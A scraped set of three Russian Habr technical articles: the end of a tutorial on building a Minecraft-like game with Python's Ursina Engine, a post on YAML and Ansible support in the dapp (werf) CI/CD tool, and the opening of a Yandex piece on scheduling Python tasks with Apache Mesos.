```
*Добавление объекта sky.*
*Результат: над игровой картой появилось небо.*
> Для создания перехода изо дня в ночь можно использовать функцию *update*. Она в параллельном потоке программы способна отслеживать время, координаты и другие параметры, а также — модифицировать объекты «на лету».
>
>
>
>
> ```
> ...
>
> def update():
> print(player.x, player.y, player.z)
>
> ...
>
> ```
>
>
> *Пример: функция параллельного вывода координат.*
>
>
>
> 
>
> *Результат: программа отслеживает актуальные координаты.*
[](https://slc.tl/oo0rk)
Основы взаимодействия с объектами
---------------------------------
До этого раздела мы генерировали сцену и наполняли ее основными объектами. Но как с ними взаимодействовать?
### Мониторинг действий через функцию input
Сначала нужно научиться отслеживать нажатия клавиш — для этого подходит функция *input*. С помощью нее можно, например, добавить режим быстрого бега при клике на шифт.
```
...
def input(key):
if key == 'o': # кнопка выхода из игры
quit()
if key == 'shift': # кнопка быстрого бега
global shift_click
if shift_click % 2 == 0:
player.speed = normal_speed + 3 # увеличиваем скорость при нажатии
shift_click += 1
else:
player.speed = normal_speed
shift_click += 1
...
```
*Программирование режима ускорения.*
Также ее можно использовать для удаления и установки блоков при нажатии ЛКМ и ПКМ соответственно.
### Включение блоков типа Button
Но не все блоки можно «разрушать». Для того, чтобы добавить в игру взаимодействие с миром, нужно использовать специальный объект *Button*. Он поддерживает функцию *input* и метод *destroy*, который нужен для уничтожения блоков.
```
...
# создаем новый класс на базе Button и задаем стартовые параметры
class Voxel(Button):
def __init__(self, position=(0, 0, 0), texture=grass_texture):
super().__init__(
parent=scene, model='assets/block',
scale=0.5, texture=texture, position=position,
origin_y=0.5, color = color.color(0,0,random.uniform(0.9,1))
)
# добавляем input — встроенную функцию взаимодействия с блоком Voxel:
# если нажали на ПКМ — появится блок
# если нажали на ЛКМ — удалится
def input(self, key):
if self.hovered:
if key == 'right mouse down':
Voxel(position=self.position + mouse.normal, texture=texture)
if key == 'left mouse down':
destroy(self)
# генерация платформы из блоков Voxel
for x_dynamic in range(16):
for z_dynamic in range(16):
Voxel(position=(x_dynamic,0,z_dynamic))
...
```
*Генерация платформы 16x16 из блоков типа Button.*
*Результат: землянка, которая напоминает мне почему-то дом Шрека.*
Супер — вы научились строить землянку. Попробуйте переплюнуть постройку с картинки.
Проблема оптимизации
--------------------
Кажется, что статья подошла к концу: ландшафт из блоков готов, работу с объектами и обработку событий освоили. Но есть проблема с оптимизацией. Попробуйте сгенерировать полигон площадью в 1000 блоков — и вы заметите, как стремительно падает FPS.
Это связано с тем, что движок не умеет «безболезненно» загружать большое количество объектов *Entity* и *Button*. Конечно, можно последовательно генерировать чанки и удалять старые. Но у этого метода есть пара минусов.
* **Не гарантирует стабильную работу.** Внутри одного чанка с горной местностью может быть больше блоков, чем в нескольких с пологой.
* **FPS все равно страдает.** Чтобы подгружать дополнительные чанки незаметно, перед персонажем должно быть несколько сотен блоков. Это значит, что фреймрейт все равно просядет.
Поэтому рассмотренная механика хорошо подходит для создания именно [небольших карт](https://habrastorage.org/webt/xm/ke/c_/xmkec_oa_sennux6g3xuaswhfbm.jpeg). А для генерации «бесконечных» миров лучше использовать объекты типа *Mesh*.
Арендуйте выделенный сервер с запуском от 2 минут и бесплатной заменой комплектующих. И [используйте](https://slc.tl/qtqtv) его ресурсы для гейминга.
Погружение в Mesh
-----------------
> Я бы не написал этот раздел, если бы не канал Red Hen dev. К слову, на нем уже больше года выходят видео по Ursina Engine. Сегодня это лучшая неофициальная документация. Поэтому если вы хотите углубиться, например, в процедурную генерацию мира из *Mesh*-блоков, переходите по [ссылке](https://www.youtube.com/watch?v=VJESpdva_ls&t=2297s).
Модель *Mesh* позволяет генерировать один логический объект и отрисовывать его по заданным координатам, когда как *Entity* создает в каждой точке новые объекты. Так *Mesh* потребляет меньше памяти и производительности GPU.
*Схема генерации Entity- и Mesh-блоков.*
Однако с блоками типа *Mesh* работать сложнее. Сначала нужно создать объект *Entity*, загрузить модель *Mesh*, а после — «слепить» из нее прообраз Blender-объекта (блока). Посмотрите сами.
```
...
# создаем объект Mesh
e = Entity(model=Mesh(), texture=this.textureAtlas)
# подгружаем конкретную ячейку из атласа текстур (с помощью масштабирования)
# атлас текстур — это обычное изображение, в котором собраны текстуры разных блоков
e.texture_scale *= 64/e.texture.width
def genBlock(this, x, y, z):
model = this.subsets[0].model
uu = 8
uv = 7
model.uvs.extend([Vec2(uu, uv) + u for u in this.block.uvs])
def genTerrain(this):
x = 0
z = 0
y = 0
o_width = int(this.subWidth*0.5)
for x_dynamic in range(-o_width, o_width):
for z_dynamic in range(-o_width, o_width):
# обращаемся к genBlock(), генерируем блоки типа Mesh
this.genBlock(x+x_dynamic, y, z+z_dynamic)
this.subsets[0].model.generate()
...
```
*Пример генерации площадки из блоков Mesh.*
### Особенности Mesh
Генерация блоков *Mesh* — всего лишь одно из препятствий на пути к оптимизации. Есть и другие особенности, которые нужно учитывать.
* **По умолчанию с Mesh-блоками нельзя взаимодействовать.**
* **Mesh-блоки не твердотельны.**
Эти проблемы можно решить — например, написать собственные правила для удаления и установки блоков. Или управлять координатами персонажа таким образом, чтобы было ощущение перемещения по твердой поверхности.
Эти и другие решения уже есть — ищите их в [GitHub-репозитории](https://github.com/RedHenDev/ursina_tutorials) проекта Red Hen dev.
Генерация мира
--------------
Теперь, когда нет жестких ограничений на количество объектов внутри игровой сцены, можно сгенерировать Minecraft-подобный мир. Встроенные методы для этого не предусмотрены. Но есть простой способ — создать матрицу из шумов Перлина и последовательно «отрисовывать» ее внутри игры.
### Матрица из шумов Перлина
Шум Перлина — это алгоритм процедурной генерации псевдослучайным методом. Механика такая: вы подаете на вход число *seed*, на базе которого генерируется текстура поверхности.
*Шумы Перлина в разном масштабе.*
Если не менять внутренние параметры алгоритма, то при загрузке одного и того же значения *seed* шум будет одинаковым.
```
from numpy import floor
from perlin_noise import PerlinNoise
import matplotlib.pyplot as plt
noise = PerlinNoise(octaves=2, seed=4522)
amp = 6
freq = 24
terrain_width = 300
landscale = [[0 for i in range(terrain_width)] for i in range(terrain_width)]
for position in range(terrain_width**2):
x = floor(position / terrain_width)
z = floor(position % terrain_width)
y = floor(noise([x/freq, z/freq])*amp)
landscale[int(x)][int(z)] = int(y)
plt.imshow(landscale)
plt.show()
```
*Генерация «красивого» шума Перлина.*
### Генерация сложного ландшафта
По сути, шум Перлина формирует двумерный массив с плавными спадами и подъемами по координате *y*. Его достаточно просто перенести в игру.
```
...
for x_dynamic in range(-o_width, o_width):
for z_dynamic in range(-o_width, o_width):
# генерация Mesh-блока в заданной точке, координату y берем из алгоритма Перлина
this.genBlock(x+x_dynamic, this.landscale[x+x_dynamic][z+z_dynamic], z+z_dynamic)
...
```
*Генерация ландшафта.*
> Подобным образом возможно генерировать не только ландшафты, но и, например, шахты. Только в последнем случае используются черви Перлина. Подробнее о разных алгоритмах и принципах генерации мира можно узнать [тут](https://habr.com/ru/post/673268/).
*Результат: Minecraft-подобный ландшафт.*
Элементы «атмосферы»: шейдеры и аудио
-------------------------------------
Игра до сих пор кажется плоской: ей не хватает музыки, звуков и чего-то «нового». Если другие блоки — песок, камень, дерево — добавить просто, то с анимированными объектами — например, водой — ситуация сложнее.
### Добавление шейдеров
В Ursina Engine есть готовый набор шейдеров, которые можно импортировать из подмодуля *ursina.shaders* и подключить к нужным *Entity*-объектам. Это полезно, если нужно, например, показать объем объектов.
```
from ursina.shaders import basic_lighting_shader
...
e = Entity(..., shader = basic_lighting_shader)
...
```
*Пример подключения шейдера.*
*Ursina Engine, встроенные шейдеры.*
Также к шейдерам можно причислить туманность, которая есть и в оригинальной игре. Она нужна, чтобы «сбить» фокус с дальних объектов.
```
...
scene.fog_density=(0,95)
# scene, как и window, тоже один из основных элементов библиотеки. Иногда его можно встретить в параметре наследования parent. Хотя, по моему опыту, его использование скорее опционально, чем обязательно.
scene.fog_color=color.white
...
```
*Добавление туманности.*
*Не всегда туманность смотрится хорошо. Возможно, стоит поэкспериментировать с параметром color.*
**Ursina Lighting.** В целом, это все, что нужно знать о встроенных шейдерах. Но есть аналог *ursina.shaders* — открытая библиотека [Ursina Lighting](https://github.com/Tusnad30/Ursina-Lighting/tree/1e062d0ec57d68ce6530bdc4560c423332861f77). С помощью нее можно добавить даже воду.
```
# импортируем основные объекты. Предварительно нужно развернуть репозиторий UrsinaLighting внутри своего проекта.
from UrsinaLighting import LitObject, LitInit
...
# важно! нужно инициализировать главный объект.
lit = LitInit()
...
# заполняем нижние уровни ландшафта водой (y = -1.1), создаем текстуру воды размером с ширину ландшафта. Проседать FPS не будет, тк water — это один объект, который просто «растянут» вдоль игровой сцены
water = LitObject(position = (floor(terrain.subWidth/2), -1.1, floor(terrain.subWidth/2)), scale = terrain.subWidth, water = True, cubemapIntensity = 0.75, collider='box', texture_scale=(terrain.subWidth, terrain.subWidth), ambientStrength = 0.5)
...
```
*Подключение UrsinaLighting и добавление воды.*
*Обратите внимание: вода буквально отражает небо. Мне кажется, что она выглядит лучше, чем в оригинальной игре.*
### Добавление звуков и музыки
Ursina Engine умеет воспроизводить аудиофайлы формата mp3 и wav. Так, например, можно добавить музыку C418 и разные звуки.
```
...
punch_sound = Audio('assets/punch_sound',loop = False, autoplay = False)
...
class Voxel(Button):
...
def input(key):
if key == 'left mouse down':
punch_sound.play()
...
```
*Добавление музыки и звуков удара.*
> **Возможно, эти тексты тоже вас заинтересуют:**
>
>
>
> → [Как запустить динозаврика Google на тачбаре? Обзор Python-библиотеки PyTouchBar](https://habr.com/ru/company/selectel/blog/698218/)
>
> → [Каким должен быть Feature Store, чтобы оптимизировать работу с ML-моделями](https://selectel.ru/blog/feature_store/)
>
> → [7 полезных книг по Python для старта и развития](https://selectel.ru/blog/python-books/)
Меню игры: основные элементы GUI
--------------------------------
На базе *Entity* делают не только 3D, но и полноценные графические интерфейсы. Логично, ведь все элементы GUI — это двумерные объекты, с которыми Ursina Engine также работает хорошо.
Движок поддерживает элементы типа *Text* и *ButtonList*. Последний автоматически создает кнопки и привязывает к ним функции, которые срабатывают при нажатии.
Ниже — пример программирования простого меню игры.
```
# в отдельном файле menu.py
from ursina import *
app = Ursina(title='Minecraft-Menu')
# создаем объект на базе Entity, настраиваем камеру и бэкграунд
class MenuMenu(Entity):
def __init__(self, **kwargs):
super().__init__(parent=camera.ui, ignore_paused=True)
self.main_menu = Entity(parent=self, enabled=True)
self.background = Sky(model = "cube", double_sided = True, texture = Texture("textures/skybox.jpg"), rotation = (0, 90, 0))
# стартовая надпись Minecraft
Text("Minecraft", parent = self.main_menu, y=0.4, x=0, origin=(0,0))
def switch(menu1, menu2):
menu1.enable()
menu2.disable()
# вместо print_on_screen можно вписать lambda-функцию для запуска игры
ButtonList(button_dict={
"Start": Func(print_on_screen,"You clicked on Start button!", position=(0,.2), origin=(0,0)),
"Exit": Func(lambda: application.quit())
},y=0,parent=self.main_menu)
main_menu = MenuMenu()
app.run()
```
*Примитивный GUI на базе Ursina Engine.*
*Результат: «100%-сходство» с оригинальным меню.*
Смотрим, что получилось
-----------------------
> Код из статьи [доступен](https://github.com/VladDoctor/ursina-habr) на GitHub. Делайте «форк» и используйте его в качестве референса, а также предлагайте свои улучшения.
Получившийся проект издалека напоминает ранние версии Minecraft. Хотя и превосходит их по качеству шейдеров и текстур.
На самом деле, это лишь небольшая доля того, что можно сделать на базе Ursina Engine. Энтузиасты со всего мира создают на этом движке шутеры, платформеры и другие игры. И это оправдано: время разработки на Ursina Engine меньше, чем на чистом OpenGL. А качество игры выше, чем на том же PyGame.
Но несмотря на позитивный результат, хочу отметить и негативные моменты в работе с библиотекой.
Проблемы Ursina Engine
----------------------
**Нет подробной документации.** О назначении некоторых параметров остается только догадываться. Документация ограничивается небольшим лендингом и репозиторием с примерами. Последнего недостаточно, чтобы полностью понять механику работы с объектами.
**«Сырая» кроссплатформенность.** На MacOS трудно управлять камерой персонажа: курсор постоянно слетает, а иногда и вовсе не перемещается. Некоторые элементы из UrsinaLighting не поддерживаются. Это нужно учитывать, если вы разрабатываете полноценный проект.
**Не хватает элементов.** Например, взаимодействие с объектами типа *Mesh* нужно программировать самостоятельно.
> Что думаете по поводу этой библиотеки вы? Поделитесь мнением в комментариях. | https://habr.com/ru/post/704040/ | null | ru | null |
# Дождались: поддержка YAML и Ansible (без коров) в dapp
В начале этого года мы посчитали, что наша Open Source-утилита для сопровождения процессов CI/CD — dapp версии 0.25 — обладает достаточным набором функций и была начата работа над нововведениями. В версии 0.26 появился синтаксис YAML, а Ruby DSL был объявлен классическим (далее перестанет поддерживаться вовсе). В следующей версии, 0.27, основным нововведением можно считать появление сборщика с Ansible. Пришло время рассказать об этих новинках подробнее.
**Обновлено 13 августа 2019 г.:** в настоящее время проект dapp переименован в **[werf](https://werf.io)**, его код переписан на Go, а документация значительно улучшена.
Предыстория
-----------
Мы разрабатываем [dapp](https://github.com/flant/werf) более 2 лет и активно применяем в повседневном обслуживании множества проектов различных масштабов. Первые версии утилиты задумывались с целью использовать **Chef** для сборки образов. Когда мы добавили к этому то обстоятельство, что **Ruby** был знаком практически всем нашим инженерам и разработчикам, приняли логичное решение реализовать dapp как Ruby gem. Посчитали уместным и сделать конфиг Dappfile в виде Ruby DSL — тем более, что известен успешный пример из близкой области — Vagrant.
По мере развития утилиты пришло понимание, что в dapp нужна вторая специализация — **доставка приложений в Kubernetes**. Так появился [режим работы с Helm charts](https://habrahabr.ru/company/flant/blog/336170/), а инженеры освоили синтаксис YAML и шаблоны на Go в то время, как разработчики начали отправлять патчи в Helm. С одной стороны, доставка в Kubernetes стала неотъемлемой частью dapp, а с другой — стандартом де-факто в экосистеме Docker и Kubernetes является Go. Наш dapp, будучи написанным на Ruby, теперь выбивается из общей картины: если нам сложно повторно использовать код Docker, то пользователям зачастую просто не хочется ставить Ruby на сборочные машины — ведь куда проще и привычнее скачать бинарник… Как результат, основными целями развития dapp стали: а) перевод кодовой базы на Go, б) реализация синтаксиса YAML.
Кроме того, за прошедшее время Chef перестал нас устраивать по ряду причин как для управления машинами, так и для сборки. Как выяснилось, переход на Ansible решает часть проблем не только наших DevOps-инженеров: самым частым вопросом на конференциях стала **поддержка Ansible в dapp**. Таким образом, третьей целью стала реализация Ansible-сборщика.
Синтаксис YAML
--------------
Ранее знакомство с синтаксисом YAML я уже представлял в [этой статье](https://habrahabr.ru/company/flant/blog/348436/), однако теперь рассмотрю его подробнее.
Конфигурация сборки может быть описана в файле `dappfile.yaml` (или `dappfile.yml`). Этапы обработки конфигурации — следующие:
1. dapp читает `dappfile.y[a]ml`;
2. запускается Go-шаблонизатор, рендерится итоговый YAML;
3. отрендереный конфиг разбивается на YAML-документы (`---` с переводом строки);
4. проверяется, что каждый YAML-документ содержит на верхнем уровне атрибут dimg или artifact;
5. проверяется состав остальных атрибутов;
6. если всё в порядке — составляется окончательный конфиг из указанных dimg’ей и artifact’ов.
Классический Dappfile — это Ruby DSL, благодаря чему было возможно некоторое программирование: обращение к словарю `ENV` за переменными окружения, определение dimg в циклах, определение общих инструкций сборки с помощью наследования контекста. Чтобы не отбирать такие возможности у разработчиков, было решено добавить в `dappfile.yml` **поддержку Go-шаблонов** — аналогично chart’ам Helm.
Однако мы отказались от наследования контекста через вложенность и через dimg\_group’ы, т.к. это вносило больше неразберихи, чем удобства. Поэтому `dappfile.yml` — это линейный массив YAML-документов, каждый из которых представляет собой описание dimg или artifact.
Как и раньше, dimg может быть один и он может быть безымянным:
```
dimg: ~
from: alpine:latest
shell:
beforeInstall:
- apk update
```
Артефакты обязаны иметь имя, т.к. теперь описывается не экспорт файлов из образа-артефакта, а импорт (аналогично возможности multi-stage из Dockerfile). Потому нужно указывать, из какого артефакта требуется получить файлы:
```
artifact: application-assets
...
---
dimg: ~
...
import:
- artifact: application-assets
add: /app/public/assets
after: install
- artifact: application-assets
add: /vendor
to: /app/vendor
after: install
```
Директивы `git`, `git remote`, `shell` перешли из DSL в YAML практически «как есть», но есть два момента: вместо подчеркиваний используется camelCase (как в Kubernetes) и нужно не повторять директивы, а объединять параметры, указывая массив:
```
git:
- add: /
to: /app
owner: app
group: app
excludePaths:
- public/assets
- vendor
- .helm
stageDependencies:
install:
- package.json
- Bowerfile
- Gemfile.lock
- app/assets/*
- url: https://github.com/kr/beanstalkd.git
add: /
to: /build
shell:
beforeInstall:
- useradd -d /app -u 7000 -s /bin/bash app
- rm -rf /usr/share/doc/* /usr/share/man/*
- apt-get update
- apt-get -y install apt-transport-https git curl gettext-base locales tzdata
setup:
- locale-gen en_US.UTF-8
```
Основное описание всех доступных атрибутов доступно в [документации](https://github.com/flant/dapp/blob/master/docs/yaml.md).
### docker ENV и LABEL
В `dappfile.yml` переменные окружения и метки можно добавить так:
```
docker:
ENV:
:
...
LABELS:
:
...
```
В YAML не получится повторять `ENV` или `LABELS`, как это было в Dappfile и в Dockerfile.
### Шаблонизатор
Шаблоны можно использовать для определения общей конфигурации сборки для разных dimg или artifact'ов. Это может быть, например, простое указание общего базового образа с помощью переменной:
```
{{ $base_image := "alpine:3.6" }}
dimg: app
from: {{ $base_image }}
...
---
dimg: worker
from: {{ $base_image }}
```
… или нечто более сложное с применением определяемых шаблонов:
```
{{ $base_image := "alpine:3.6" }}
{{- define "base beforeInstall" }}
- apt: name=php update_cache=yes
- get_url:
url: https://getcomposer.org/download/1.5.6/composer.phar
dest: /usr/local/bin/composer
mode: 0755
{{- end}}
dimg: app
from: {{ $base_image }}
ansible:
beforeInstall:
{{- include "base beforeInstall" .}}
- user:
name: app
uid: 48
...
---
dimg: worker
from: {{ $base_image }}
ansible:
beforeInstall:
{{- include "base beforeInstall" .}}
...
```
В этом примере часть инструкций для стадии `beforeInstall` определены как общая часть и далее подключаются в каждом dimg.
Подробнее о возможностях Go-шаблонов можно почитать в [документации](https://golang.org/pkg/text/template/) на модуль text/template и в [документации](http://masterminds.github.io/sprig/) на модуль sprig, функции из которого дополняют стандартные возможности.
Поддержка Ansible
-----------------
Ansible-сборщик состоит из трёх частей:
1. **Образ dappdeps/ansible**, в котором лежит Python 2.7, собранный со своей glibc и остальными библиотеками, чтобы работать в любом дистрибутиве (особенно актуально для Alpine). Тут же установлен Ansible.
2. **Поддержка синтаксиса** описания сборки стадий с помощью Ansible в `dappfile.yaml`.
3. **Builder в dapp**, запускающий контейнеры для стадий. В этих контейнерах выполняются таски, указанные в `dappfile.yml`. Builder создаёт playbook и генерирует команду для его запуска.
Ansible разрабатывается как система управления большим количеством удалённых хостов и поэтому вещи, которые актуальны для локального запуска, могут игнорироваться разработчиками. Например, **нет вывода в реальном времени** от запускаемых команд, как это было в Chef: сборка может включать длительную команду, вывод которой было бы хорошо видеть в реальном времени, но Ansible покажет вывод только после завершения. При запуске через GitLab CI это может быть расценено как подвисание билда.
Второй неприятностью стали [**stdout callbacks**](https://docs.ansible.com/ansible/devel/plugins/callback.html), которые входят в состав Ansible. Среди них не оказалось «умеренно информативного». Тут либо слишком многословный вывод с полным результатом в виде JSON, либо минимализм с названием хоста, именем модуля и статусом. Конечно, я утрирую, но подходящего модуля для сборки образов действительно нет.
Третье, с чем мы столкнулись, — зависимость некоторых модулей Ansible от внешних утилит (не страшно), модулей Python (ещё менее страшно) и **от бинарных модулей Python** (кошмар!). Опять же, авторы Ansible не учитывали, что их творение будут запускать отдельно от системных бинарников и что, например, `userdel` будет находиться не в `/sbin`, а где-то в другой директории…
Проблема с бинарными модулями — это особенность модуля apt. В нём используется модуль python-apt в виде SO-библиотеки. Другой особенностью модуля apt оказалось, что при выполнении таска, в случае неудачной загрузки python-apt, происходит попытка установить пакет с этим модулем в систему.
Чтобы решить вышеперечисленные проблемы, [был реализован](https://github.com/ansible/ansible/compare/stable-2.4...flant:stable-2.4+dapp) «живой» вывод для тасков raw и script, т.к. они могут запускаться без механизма Ansiballz. Также пришлось реализовать свой stdout callback, добавить в dappdeps/ansible сборку `useradd`, `userdel`, `usermod`, `getent` и подобных утилит и скопировать модули python-apt.
В итоге, сборщик Ansible в dapp работает с Linux-дистрибутивами Ubuntu, Debian, CentOS, Alpine, но не все [модули](http://docs.ansible.com/ansible/latest/modules_by_category.html) ещё протестированы и потому в dapp есть список модулей, которые точно поддерживаются. Если в конфигурации использовать модуль не из списка, то сборка не запустится — это временная мера. Список поддерживаемых модулей можно увидеть [здесь](https://github.com/flant/werf/blob/master/pkg/config/raw_ansible_task.go#L60-L138).
Конфигурация сборки с помощью Ansible в `dappfile.yml` похожа на конфигурацию `shell`. В ключе `ansible` перечисляются нужные стадии и для каждой из них определяется массив тасков — практически как в обычном playbook, только вместо атрибута `tasks` указывается имя стадии:
```
ansible:
beforeInstall:
- name: "Create non-root main application user"
user:
name: app
comment: "Non-root main application user"
uid: 7000
shell: /bin/bash
home: /app
- name: "Disable docs and man files installation in dpkg"
copy:
content: |
path-exclude=/usr/share/man/*
path-exclude=/usr/share/doc/*
dest: /etc/dpkg/dpkg.cfg.d/01_nodoc
install:
- name: "Precompile assets"
shell: |
set -e
export RAILS_ENV=production
source /etc/profile.d/rvm.sh
cd /app
bundle exec rake assets:precompile
args:
executable: /bin/bash
```
Пример взят из [документации](https://werf.io/documentation/guides/advanced_build/first_application.html).
Теперь возникает вопрос: если в `dappfile.yml` есть только список тасков, то где всё остальное (верхний уровень playbook, inventory), как включить `become` и где говорящие коровы (или как их отключить)? Пора описать способ запуска Ansible.
**За запуск отвечает билдер** — это не очень сложный кусок кода, который определяет параметры запуска Docker-контейнера со стадией: переменные среды, команду запуска ansible-playbook, нужные монтирования. Также билдер создаёт во временной директории приложения каталог, где генерируется несколько файлов:
* `hosts` — inventory для Ansible. Здесь только один хост localhost с указанием пути к Python внутри монтируемого образа dappdeps/ansible;
* `ansible.cfg` — конфигурация Ansible. В конфиге указан тип подключения `local`, путь к inventory, путь к callback stdout, пути к временным директориям и настройки `become`: все таски запускаются от пользователя root; если использовать `become_user`, то процессу пользователя будут доступны все переменные среды и будет правильно установлена `$HOME` (`sudo -E -H`);
* `playbook.yml` — этот файл генерируется из списка тасков для выполняемой стадии. В файле указывается фильтр `hosts: all` и отключается неявный сбор фактов настройкой `gather_facts: no`. Модули setup и set\_fact — в списке поддерживаемых, поэтому можно использовать их для явного сбора фактов.
Список тасков для стадии `beforeInstall` из примера ранее превращается в такой `playbook.yml`:
```
---
hosts: all
gather_facts: no
tasks:
- name: "Create non-root main application user"
user:
name: app
...
- name: "Disable docs and man files installation in dpkg"
copy:
content: |
path-exclude=/usr/share/man/*
path-exclude=/usr/share/doc/*
dest: /etc/dpkg/dpkg.cfg.d/01_nodoc
```
### Особенности применения Ansible для сборки
#### Become
Настройки `become` в `ansible.cfg` такие:
```
[become]
become = yes
become_method = sudo
become_flags = -E -H
become_exe = path_to_sudo_insdie_dappdeps/ansible_image
```
Поэтому в тасках достаточно указать только `become_user: username`, чтобы запустить скрипт или копирование от пользователя.
#### Модули command
В Ansible есть 4 модуля для запуска команд и скриптов: `raw`, `script`, `shell` и `command`. `raw` и `script` выполняются без механизма Ansiballz, что немного быстрее, и для них есть live-вывод. С помощью `raw` можно выполнять многострочные скрипты ad-hoc:
```
- raw: |
mvn -B -f pom.xml -s /usr/share/maven/ref/settings-docker.xml dependency:resolve
mvn -B -s /usr/share/maven/ref/settings-docker.xml package -DskipTests
```
Правда, не поддерживается атрибут `environment`, но это можно обойти так:
```
- raw: |
mvn -B -f pom.xml -s $SETTINGS dependency:resolve
mvn -B -s $SETTINGS package -DskipTests
args:
executable: SETTINGS=/usr/share/maven/ref/settings-docker.xml /bin/ash -e
```
#### Файлы
На данном этапе нет механизма проброса файлов из репозитория в контейнеры, кроме директивы `git`. Для добавления в образ различного рода конфигов, скриптов и других небольших файлов можно воспользоваться модулем copy:
```
- name: "Disable docs and man files installation in dpkg"
copy:
content: |
path-exclude=/usr/share/man/*
path-exclude=/usr/share/doc/*
dest: /etc/dpkg/dpkg.cfg.d/01_nodoc
```
Если файл большой, то, чтобы не хранить его внутри `dappfile.yml`, можно воспользоваться Go-шаблоном и функцией `.Files.Get`:
```
- name: "Disable docs and man files installation in dpkg"
copy:
content: |
{{.Files.Get ".dappfiles/01_nodoc" | indent 6}}
dest: /etc/dpkg/dpkg.cfg.d/01_nodoc
```
В дальнейшем будет реализован механизм подключения файлов в сборочный контейнер, чтобы было проще копировать большие и бинарные файлы, а также использовать `include*` или `import*`.
#### Шаблонизация
Про Go-шаблоны в `dappfile.yaml` уже было сказано. Ansible со своей стороны поддерживает шаблоны jinja2, а разделители этих двух систем совпадают, поэтому вызов jinja нужно экранировать от Go-шаблонизатора:
```
- name: "create temp file for archive"
tempfile:
state: directory
register: tmpdir
- name: Download archive
get_url:
url: https://cdn.example.com/files/archive.tgz
dest: '{{`{{ tmpdir.path }}`}}/archive.tgz'
```
#### Отладка проблем со сборкой
При выполнении таска может случиться какая-то ошибка, но сообщений на экране иногда не хватает для понимания. В этом случае можно начать с указания переменной окружения `ANSIBLE_ARGS="-vvv"` — тогда в выводе будут все аргументы для тасков и все аргументы результатов (похоже на использование json stdout callback).
Если ситуация не проясняется, можно запустить сборку в режиме introspect: `dapp dimg bulid --introspect-error`. Тогда сборка остановится после ошибки и в контейнере будет запущен shell. Будет видна команда, вызвавшая ошибку, а в соседнем терминале можно зайти во временную директорию и править `playbook.yml`:
Переход на Go
-------------
Это наша третья цель в развитии dapp, однако с точки зрения пользователя мало что меняет, кроме упрощения установки. Для релиза 0.26 на Go был реализован парсер `dappfile.yaml`. Сейчас продолжается работа по переводу на Go основной функциональности dapp: запуск сборочных контейнеров, билдеры, работа с Git. Поэтому будет не лишней ваша помощь в тестировании — в том числе, модулей Ansible. Ждём issue на [GitHub](https://github.com/flant/werf) или заходите в нашу группу в Telegram: [dapp\_ru](https://t.me/werf_ru).
**Обновлено 13 августа 2019 г.:** в настоящее время проект dapp переименован в **[werf](https://werf.io)**, его код переписан на Go, а документация значительно улучшена.
P.S.
----
**Так что там с коровами-то?** Программы cowsay нет в dappdeps/ansible, а используемый callback stdout не вызывает те методы, где включается cowsay. К сожалению, Ansible в dapp без коров (но вас никто не остановит от создания issue).
P.P.S.
------
Читайте также в нашем блоге:
* «[werf — наш инструмент для CI/CD в Kubernetes (обзор и видео доклада)](https://habr.com/ru/company/flant/blog/460351/)» *(Дмитрий Столяров; 27 мая 2019 на DevOpsConf)*;
* «[Официально представляем dapp — DevOps-утилиту для сопровождения CI/CD](https://habrahabr.ru/company/flant/blog/333682/)»;
* «[Сборка проектов с dapp. Часть 1: Java](https://habrahabr.ru/company/flant/blog/348436/)»;
* «[Сборка и дeплой приложений в Kubernetes с помощью dapp и GitLab CI](https://habrahabr.ru/company/flant/blog/345580/)»;
* «[Практика с dapp. Часть 1: Сборка простых приложений](https://habrahabr.ru/company/flant/blog/336212/)»;
* «[Практика с dapp. Часть 2. Деплой Docker-образов в Kubernetes с помощью Helm](https://habrahabr.ru/company/flant/blog/336170/)»;
* «[Собираем Docker-образы для CI/CD быстро и удобно вместе с dapp (обзор и видео доклада)](https://habrahabr.ru/company/flant/blog/324274/)». | https://habr.com/ru/post/351838/ | null | ru | null |
# Распределенное выполнение Python-задач с использованием Apache Mesos. Опыт Яндекса
Подготовка релиза картографических данных включают в себя запуск массовой обработки данных. Некоторые задачи хорошо ложатся на идеологию Map-Reduce. В этом случае задача инфраструктуры традиционно решается использованием Hadoop или [YT](https://events.yandex.ru/lib/talks/1091/)
В реальности часть задач таковы, что разбиение их на маленькие подзадачи невозможно, или нецелесообразно (из-за наличия существующего решения и дорогой разработки, например). Для этого мы в Яндекс.Картах разработали и используем свою систему планирования и выполнения взаимосвязанных задач. Одним из элементов такой системы является планировщик, запускающий задачи на кластере с учетом доступных ресурсов.
[](https://habrahabr.ru/company/yandex/blog/306548/)
Эта статья о том как мы решили эту задачу с использованием [Apache Mesos](http://mesos.apache.org/).
Для простоты предположим, что существующей реализацией продиктован следующий интерфейс на Python:
```
class Task(object):
# "Базовый" класс для всех задач. Предполагается, что аргументы
# сохранены внутри объекта задачи.
def consumption(self):
# Возвращает список dict <имя ресурса> -> <необходимое количесво>
# типичные ресурсы: "cpu" (например в штуках), "ram" в байтах, "db_connections" в штуках
pass
def run(self):
# Выполняет задачу, и возвращает результат
# может бросить exception -- это интерпретируется как невыполненная задача
# которая может быть перезапущена (вручную или автоматически).
pass
class TaskExecuter(object):
def execute(self, task):
# Запланировать выполнение задачи `task`
pass
def cancel(self, task):
# Отменить выполнение задачи `task`, по возможности убить если она уже запущена
# быть готовым, к тому что задача может быть тут же перезапущена.
pass
def pop_finished(self, task):
# Получить список завершившихся задач с их результатами.
# Каждый элемент списка это tupple `(task, return_value, exception)`
# одновременно быть установленным может быть только return_value или exception.
pass
```
Терминология
------------
Разберем основные концепции используемые в Mesos, необходимые для выполнения задач **Mesos-master** — координатор кластера, собирает информацию о имеющихся хостах и их ресурсах и предлагает приложениям.
* **Mesos-agent**, **Mesos-slave** — программа, запущенная на каждом воркере, сообщает о своих ресурсах мастеру, запускает задачи.
* **Scheduler** — планировщик задач, программа или часть программы-супервайзера. Знает какие задачи нужно выполнить. Принимает решения какие задачи выполнить с учетом имеющихся ресурсов.
* **Executor** — "исполнитель" задач, отдельная программа, запускаемая на agent-хостах. Получая задачу, отправленную **Scheduler**'ом выполняет ее. Сообщает статус ее выполнения и отправляет результат.
* Протокол общения между Scheduler'ом и Executor'ом — protobuf-сообщения, описанные в Mesos. Каждая задача описывается фактически строковым полем в этом сообщении. Интерпретация этой строки внутренне дело Scheduler'а и Executor'а. Как видно Scheduler и Executor тесно связанны, вместе они в терминологии Mesos называются **Framework**.
Схема работы при этом такая:
* Приложение желающее запускать задачи в Mesos, создает объект **Scheuler** и регистрирует его в Mesos-master
* Mesos-мастер собирает доступные ресурсы и предлагает их Scheduler'ам в виде **resourceOffer**'а.
